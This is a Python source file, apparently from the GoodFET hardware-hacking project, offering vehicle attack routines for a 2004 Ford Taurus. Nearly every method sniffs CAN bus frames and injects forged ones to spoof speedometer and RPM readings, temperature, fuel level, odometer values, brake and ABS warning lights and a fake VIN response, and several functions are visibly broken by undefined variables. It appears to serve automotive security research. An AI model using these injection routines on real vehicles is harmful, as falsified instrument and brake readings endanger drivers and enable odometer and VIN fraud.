added demonstrations
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 from random import randrange
8 from GoodFETMCPCAN import GoodFETMCPCAN;
9 from experiments import experiments
10 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
11 from intelhex import IntelHex;
12 import Queue
13 import math
14
15 tT = time
16 class FordExperiments(experiments):
17     """
18     This class is a subclass of experiments and is a car specific module for 
19     demonstrating and testing hacks. 
20     """
21     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
22         GoodFETMCPCANCommunication.__init__(self, dataLocation)
23         #super(FordExperiments,self).__init__(self) #initialize chip
24         self.freq = 500;
25
26     def mimic1056(self,packetData,runTime):
27         #setup chip
28         self.client.serInit()
29         self.spitSetup(self.freq)
30         #FIGURE out how to clear buffers
31         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
32         packet1 = self.client.rxpacket();
33         if(packet1 != None):
34             packetParsed = self.client.packet2parsed(packet1);
35         #keep sniffing till we read a packet
36         while( packet1 == None or packetParsed.get('sID') != 1056 ):
37             packet1 = self.client.rxpacket()
38             if(packet1 != None):
39                 packetParsed = self.client.packet2parsed(packet1)
40         recieveTime = time.time()
41         packetParsed = self.client.packet2parsed(packet1)
42         if( packetParsed['sID'] != 1056):
43             print "Sniffed wrong packet"
44             return
45         countInitial = ord(packetParsed['db3']) #initial count value
46         packet = []
47         #set data packet to match what was sniffed or at least what was input
48         for i in range(0,8):
49             idx = "db%d"%i
50             if(packetData.get(idx) == None):
51                 packet.append(ord(packetParsed.get(idx)))
52             else:
53                 packet.append(packetData.get(idx))
54         print packet
55         #### split SID into different regs
56         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
57         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
58         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
59                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
60                   # lower nibble is DLC                   
61                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
62         packetCount = 1;
63         self.client.txpacket(packet);
64         tpast = time.time()
65         while( (time.time()-recieveTime) < runTime):
66             #care about db3 or packet[8] that we want to count at the rate that it is
67             dT = time.time()-tpast
68             if( dT/0.2 >= 1):
69                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
70                 packet[8] = db3
71                 self.client.txpacket(packet)
72                 packetCount += 1
73             else:
74                 packetCount += 1
75                 self.client.MCPrts(TXB0=True)
76             tpast = time.time()  #update our transmit time on the one before   
77             
78                 
79          
80     def cycledb1_1056(self,runTime):
81         #setup chip
82         self.client.serInit()
83         self.spitSetup(500)
84         #FIGURE out how to clear buffers
85         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
86         packet1 = self.client.rxpacket();
87         if(packet1 != None):
88             packetParsed = self.client.packet2parsed(packet1);
89         #keep sniffing till we read a packet
90         while( packet1 == None or packetParsed.get('sID') != 1056 ):
91             time.sleep(.1)
92             packet1 = self.client.rxpacket()
93             if(packet1 != None):
94                 packetParsed = self.client.packet2parsed(packet1)
95         recieveTime = time.time()
96         packetParsed = self.client.packet2parsed(packet1)
97         if( packetParsed['sID'] != 1056):
98             print "Sniffed wrong packet"
99             return
100         packet = []
101         #set data packet to match what was sniffed or at least what was input
102         for i in range(0,8):
103             idx = "db%d"%i
104             packet.append(ord(packetParsed.get(idx)))
105         packetValue = 0
106         packet[1] = packetValue;
107         
108         print packet
109         #### split SID into different regs
110         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
111         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
112         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
113                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
114                   # lower nibble is DLC                   
115                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
116         packetCount = 1;
117         self.client.txpacket(packet);
118         tpast = time.time()
119         while( (time.time()-recieveTime) < runTime):
120             #care about db3 or packet[8] that we want to count at the rate that it is
121             dT = time.time()-tpast
122             packetValue += 10
123             pV = packetValue%255
124             #temp = ((packetValue+1))%2
125             #if( temp == 1):
126             #    pV = packetValue%255
127             #else:
128             #    pV = 0
129             packet[6] = pV
130             #packet[6] = 1
131             print packet
132             self.client.txpacket(packet)
133             packetCount += 1
134             tpast = time.time()  #update our transmit time on the one before   
135         print packetCount;
136         
137     def getBackground(self,sId):
138         """
139         This method gets the background packets for the given id. This
140         is a simple "background" retriever in that it returns the packet
141         that is of the given id that was sniffed off the bus.
142         """
143         packet1 = self.client.rxpacket();
144         if(packet1 != None):
145             packetParsed = self.client.packet2parsed(packet1);
146         #keep sniffing till we read a packet
147         while( packet1 == None or packetParsed.get('sID') != sId ):
148             packet1 = self.client.rxpacket()
149             if(packet1 != None):
150                 packetParsed = self.client.packet2parsed(packet1)
151             
152         #recieveTime = time.time()
153         return packetParsed
154
155     def cycle4packets1279(self):
156         self.client.serInit()
157         self.spitSetup(500)
158         # filter on 1279
159         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
160         packetParsed = self.getBackground(1279)
161         packet = []
162         if (packetParsed[db0] == 16):
163             # if it's the first of the four packets, replace the value in db7  with 83
164             packetParsed[db7] = 83
165             # transmit new packet
166             self.client.txpacket(packetParsed)
167         else:
168         # otherwise, leave it alone
169             # transmit same pakcet we read in
170             self.client.txpacket(packetParsed)
171         # print the packet we are transmitting
172         print packetParsed
173         
174     def oscillateMPH(self,time):
175         self.client.serInit()
176         self.spitSetup(500)
177         #FIGURE out how to clear buffers
178         self.addFilter([513, 513, 513, 513,513, 513], verbose=False)
179         packetParsed = self.getBackground(513)
180         packet = []
181         #set data packet to match what was sniffed or at least what was input
182         for i in range(0,8):
183             idx = "db%d"%i
184             packet.append(ord(packetParsed.get(idx)))
185         packetValue = 0
186         packet[1] = packetValue;
187         
188         print packet
189         #### split SID into different regs
190         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
191         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
192         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
193                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
194                   # lower nibble is DLC                   
195                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
196         packetCount = 1;
197         self.client.txpacket(packet);
198         startTime = tT.time()
199         while( (tT.time()-startTime) < runTime):
200             dt = tT.time()-startTime
201             inputValue = ((2.0*math.pi)/20.0)*dt
202             value =         112*math.sin(inputValue)+141
203             print value
204             
205             packet[9] = value
206             print packet
207             self.client.txpacket(packet)
208             packetCount += 1
209     def oscillateTemperature(self,time):
210         """
211         
212         
213         """
214         #setup chip
215         self.client.serInit()
216         self.spitSetup(500)
217         #FIGURE out how to clear buffers
218         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
219         packetParsed = self.getBackground(1056)
220         packet = []
221         #set data packet to match what was sniffed or at least what was input
222         for i in range(0,8):
223             idx = "db%d"%i
224             packet.append(ord(packetParsed.get(idx)))
225         packetValue = 0
226         packet[1] = packetValue;
227         
228         print packet
229         #### split SID into different regs
230         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
231         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
232         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
233                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
234                   # lower nibble is DLC                   
235                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
236         packetCount = 1;
237         self.client.txpacket(packet);
238         startTime = tT.time()
239         while( (tT.time()-startTime) < runTime):
240             dt = tT.time()-startTime
241             inputValue = ((2.0*math.pi)/20.0)*dt
242             value = 30*math.sin(inputValue)+130
243             print value
244             #packet[5] = int(value)
245             if( value > 130 ):
246                 packet[5] = 160
247             else:
248                 packet[5] = 100
249             #packet[6] = 1
250             print packet
251             self.client.txpacket(packet)
252             packetCount += 1
253             #tpast = time.time()  #update our transmit time on the one before   
254         print packetCount;
255         
256         
257     def fakeVIN(self):
258        #reset eveything on the chip
259        self.client.serInit() 
260        self.reset()
261        duration = 20; #seconds 
262        
263        listenID = 2015
264        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
265        responseID = 2024
266        #actual response by the car
267        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
268        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
269        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
270        
271        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
272        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
273        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
274        
275        #format
276        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
277        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
278        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
279                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
280                   # lower nibble is DLC                   
281                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
282        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
283               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
284                   # lower nibble is DLC                   
285                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
286        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
287                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
288                   # lower nibble is DLC                   
289                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
290
291        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
292
293        #filter for the correct packet
294        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
295        self.client.rxpacket()
296        self.client.rxpacket() # flush buffers if there is anything
297        startTime = tT.time()
298        while( (tT.time() -startTime) < duration):
299            packet = self.client.rxpacket()
300            if( packet != None):
301                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
302                if( sid == listenID):
303                    byte3 = ord(packet[6])
304                    if( byte3 == listenPacket[3]):
305                        print "SendingPackets!"
306                        #send packets
307                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
308                        
309     def setScanToolTemp(self,temp):
310         self.client.serInit()
311         self.spitSetup(500)
312
313         self.addFilter([2024, 2024, 2024])
314         self.client.rxpacket()
315         self.client.rxpacket()
316         self.client.rxpacket()
317         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
318         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
319               
320         startTime = time.time()  
321         #while((time.time() - startTime) < 10):
322             
323         packet = None;
324
325         # catch a packet and check its db4 value
326         while (packet == None):
327             packet=self.client.rxpacket();
328
329         
330         newTemp = math.ceil(level/1.8 + 22)
331         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
332
333             
334         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
335                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
336                        # lower nibble is DLC                   
337                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
338
339         # load new packet into TXB0 and check time
340         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
341         starttime = time.time()
342         
343         # spit new value for 1 second
344         while (time.time()-starttime < 10):
345             self.multiPacketSpit(packet0rts=True)
346             
347     def overHeatEngine(self):
348         self.client.serInit()
349         self.spitSetup(500)
350
351         self.addFilter([1056, 1056, 1056])
352         packet = self.getBackground(1056)
353         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
354         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
355     
356         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
357                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
358                        # lower nibble is DLC                   
359                        255,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
360         startTime = time.time()
361         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
362         while( time.time()- startTime < 10):
363             self.multiPacketSpit(packet0rts=True)
364             
365     def runOdometer(self):
366         self.client.serInit()
367         self.spitSetup(500)
368
369         self.addFilter([1056, 1056, 1056])
370         packet = self.getBackground(1056)
371         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
372         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
373         odomFuzz = random.randint(0,255)
374         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
375                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
376                        # lower nibble is DLC                   
377                        ord(packet[5]),odomFuzz,ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
378         startTime = time.time()
379         
380         while( time.time()- startTime < 10):
381             odomFuzz = random.randint(0,255)
382             newPacket[5] = odomFuzz
383             self.client.txpacket(newPacket)
384         
385     def setDashboardTemp(self, temp):
386         self.client.serInit()
387         self.spitSetup(500)
388
389         self.addFilter([1056, 1056, 1056])
390         self.client.rxpacket()
391         self.client.rxpacket()
392         self.client.rxpacket()
393         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
394         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
395               
396         startTime = time.time()  
397         #while((time.time() - startTime) < 10):
398             
399         packet = None;
400
401         # catch a packet and check its db4 value
402         while (packet == None):
403             packet=self.client.rxpacket();
404
405         
406         newTemp = math.ceil(level/1.8 + 22)
407         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
408
409             
410         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
411                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
412                        # lower nibble is DLC                   
413                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
414
415         # load new packet into TXB0 and check time
416         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
417         starttime = time.time()
418         
419         # spit new value for 1 second
420         while (time.time()-starttime < 10):
421             self.multiPacketSpit(packet0rts=True)
422
423       
424     def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight):                 
425         self.addFilter([1056, 1056, 530, 530, 1056])
426         if( checkBreakSystem == 1 or ABSLight == 1):
427             SIDlow = (530 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
428             SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
429             packet = self.getBackground(530)
430             packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
431                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
432                        # lower nibble is DLC                   
433                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
434             if( checkBreakSystem == 1 and ABSLight == 1):
435                 packet2[9] = 97
436             elif( checkBreakSystem == 0 and ABSLight == 1):
437                 packet2[9] = 16
438             elif(checkBreakSystem==1 and ABSLight == 0):
439                 packet2[9] = 64
440             packet2rts = True
441         else:
442             packet2rts = False
443             packet2 = None
444         
445         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
446         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
447         packet = self.getBackground(1056)
448         packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
449                    0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
450                    # lower nibble is DLC                   
451                    ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
452         if( checkEngine == 1):
453             packet1[9] += 2;
454             
455         if( checkTransmission == 1):
456             packet1[9] += 3;
457             
458         if( transmissionOverheated == 1):
459             packet1[9] += 4
460             
461         if( engineLight == 1):
462             packet1[9] += 64
463             
464         if( fuelCap == 1):
465             packet1[10] = 255
466         if( batter == 1):
467             packet1[6] = 33
468         
469         # load new packet into TXB0 and check time
470         self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
471         starttime = time.time()
472         
473         # spit new value for 1 second
474         while (time.time()-starttime < 10):
475             self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
476     
477     def fakeScanToolFuelLevel(self,level):
478         self.client.serInit()
479         self.spitSetup(500)
480
481         self.addFilter([2024, 2024, 2024])
482         self.client.rxpacket()
483         self.client.rxpacket()
484         self.client.rxpacket()
485         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
486         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
487               
488         startTime = time.time()  
489         #while((time.time() - startTime) < 10):
490             
491         packet = None;
492
493         # catch a packet and check its db4 value
494         while (packet == None):
495             packet=self.client.rxpacket();
496
497         level = int(level/.4)
498         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
499
500             
501         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
502                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
503                        # lower nibble is DLC                   
504                        ord(packet[5]),ord(packet[6]),ord(packet[7]),level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
505
506         # load new packet into TXB0 and check time
507         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
508         starttime = time.time()
509         
510         # spit new value for 1 second
511         while (time.time()-starttime < 10):
512             self.multiPacketSpit(packet0rts=True)
513             
514     def fakeOutsideTemp(self,level):
515         self.client.serInit()
516         self.spitSetup(500)
517
518         self.addFilter([2024, 2024, 2024])
519         self.client.rxpacket()
520         self.client.rxpacket()
521         self.client.rxpacket()
522         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
523         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
524               
525         startTime = time.time()  
526         #while((time.time() - startTime) < 10):
527             
528         packet = None;
529
530         # catch a packet and check its db4 value
531         while (packet == None):
532             packet=self.client.rxpacket();
533         
534         newTemp = math.ceil(level/1.8 + 22)
535         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
536
537             
538         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
539                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
540                        # lower nibble is DLC                   
541                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
542
543         # load new packet into TXB0 and check time
544         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
545         starttime = time.time()
546         
547         # spit new value for 1 second
548         while (time.time()-starttime < 10):
549             self.multiPacketSpit(packet0rts=True)
550
551     
552     def fakeAbsTps(self,level):
553         self.client.serInit()
554         self.spitSetup(500)
555
556         self.addFilter([2024, 2024, 2024])
557         self.client.rxpacket()
558         self.client.rxpacket()
559         self.client.rxpacket()
560         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
561         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
562               
563         startTime = time.time()  
564         #while((time.time() - startTime) < 10):
565             
566         packet = None;
567
568         # catch a packet and check its db4 value
569         while (packet == None):
570             packet=self.client.rxpacket();
571
572         abstps = int(math.ceil(level/.39))
573
574
575             
576         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
577                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
578                        # lower nibble is DLC                   
579                        ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
580
581         # load new packet into TXB0 and check time
582         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
583         starttime = time.time()
584         
585         # spit new value for 1 second
586         while (time.time()-starttime < 10):
587             self.multiPacketSpit(packet0rts=True)
588
589
590                        
591     def mphToByteValue(self, mph):
592         return ( mph + 63.5 ) / 1.617
593
594     def ByteValuToMph(self, value):
595         return 1.617*ord(packet[9]) - 63.5
596
597     def setMPH(self, mph):
598         self.client.serInit()
599         self.spitSetup(500)
600
601         self.addFilter([513, 513, 513])
602         self.client.rxpacket()
603         self.client.rxpacket()
604         self.client.rxpacket()
605         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
606         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
607               
608         startTime = time.time()  
609         #while((time.time() - startTime) < 10):
610             
611         packet = None;
612
613         # catch a packet and check its db4 value
614         while (packet == None):
615             packet=self.client.rxpacket();
616         
617         #print self.client.packet2str(packet)
618
619         #print "DB4 = %02d " %ord(packet[9])
620        
621         #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
622             
623         # calculate our new mph and db4 value
624         
625         newSpeed = self.mphToByteValue(mph)
626         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
627
628             
629         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
630                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
631                        # lower nibble is DLC                   
632                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
633
634         # load new packet into TXB0 and check time
635         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
636         starttime = time.time()
637         
638         # spit new value for 1 second
639         while (time.time()-starttime < 10):
640             self.multiPacketSpit(packet0rts=True)
641
642
643     def speedometerHack(self, inputs):
644         
645         self.client.serInit()
646         self.spitSetup(500)
647
648         self.addFilter([513, 513, 513])
649         
650         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
651         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
652                 
653        #while(1):
654             
655         packet = None;
656
657         # catch a packet and check its db4 value
658         while (packet == None):
659             packet=self.client.rxpacket();
660         
661         print self.client.packet2str(packet)
662
663         print "DB4 = %02d " %ord(packet[9])
664         mph = 1.617*ord(packet[9]) - 63.5
665         print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
666             
667         # calculate our new mph and db4 value
668         mph = mph + inputs[0];
669         newSpeed = ( mph + 63.5 ) / 1.617
670         print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
671
672             
673         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
674                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
675                        # lower nibble is DLC                   
676                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
677
678         # load new packet into TXB0 and check time
679         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
680         starttime = time.time()
681         
682         # spit new value for 1 second
683         while (time.time()-starttime < 1):
684             self.multiPacketSpit(packet0rts=True)
685                 
686     def rpmToByteValue(self, rpm):
687         value = ( rpm + 61.88 ) / 64.5
688         return int(value)
689     
690     def ValueTorpm(self, value):
691         rpm = 64.5*value - 61.88
692         return rpm
693     
694     def setRPM(self, rpm):
695         self.client.serInit()
696         self.spitSetup(500)
697     
698         self.addFilter([513, 513, 513,513])
699     
700         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
701         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
702         
703         #clear buffers
704         self.client.rxpacket()
705         self.client.rxpacket()
706         self.client.rxpacket()
707
708         startTime = tT.time()
709         while((tT.time() - startTime )< 10):
710         
711             packet = None;
712         
713             # catch a packet and check its db4 value
714             while (packet == None):
715                 packet=self.client.rxpacket();
716         
717             #print self.client.packet2str(packet)
718         
719             #print "DB4 = %02d " %ord(packet[5])
720            
721             #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
722         
723             newRPM = self.rpmToByteValue(rpm)
724             #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
725             
726         
727             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
728                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
729                      # lower nibble is DLC                   
730                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
731         
732             # load new packet into TXB0 and check time
733             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
734             starttime = time.time()
735         
736             # spit new value for 1 second
737             while (time.time()-starttime < 1):
738                 self.multiPacketSpit(packet0rts=True)
739
740     def rpmHack(self, inputs):
741         """
742         This method will increase the rpm by the given rpm amount.
743         
744         @type inputs: List
745         @param inputs: Single element of a list that corresponds to the amount the user
746                        wishses to 
747         """
748     
749         self.client.serInit()
750         self.spitSetup(500)
751     
752         self.addFilter([513, 513, 513])
753     
754         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
755         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
756         startTime = tT.time()
757         while((tT.time() - startTime )< 10):
758         
759             packet = None;
760         
761             # catch a packet and check its db4 value
762             while (packet == None):
763                 packet=self.client.rxpacket();
764         
765             print self.client.packet2str(packet)
766         
767             print "DB4 = %02d " %ord(packet[5])
768             rpm = 64.5*ord(packet[5]) - 61.88
769             print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
770         
771             # calculate our new mph and db4 value
772             rpm = rpm + inputs[0];
773             newRPM = ( rpm + 61.88 ) / 64.5
774             newRPM = int(newRPM)
775             print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
776             
777         
778             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
779                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
780                      # lower nibble is DLC                   
781                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
782         
783             # load new packet into TXB0 and check time
784             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
785             starttime = time.time()
786         
787             # spit new value for 1 second
788             while (time.time()-starttime < 1):
789                 self.multiPacketSpit(packet0rts=True)
790
791
792     
793         
794 if __name__ == "__main__":
795     
796     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
797
798     Run Hacks on a Ford taurus 2004:
799         
800             speedometerHack
801             fakeVIN
802             rpmHack
803         ''')
804     parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']);
805     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
806
807
808     args = parser.parse_args();
809     inputs = args.variable
810     fe = FordExperiments("../../contrib/ThayerData/");
811     
812     if( args.verb == 'speedometerHack'):
813         fe.speedometerHack(inputs=inputs)
814     if( args.verb == 'rpmHack'):
815         fe.rpmHack(inputs=inputs)
816     elif( args.verb == 'fakeVIN'):
817         fe.fakeVIN()
818         
819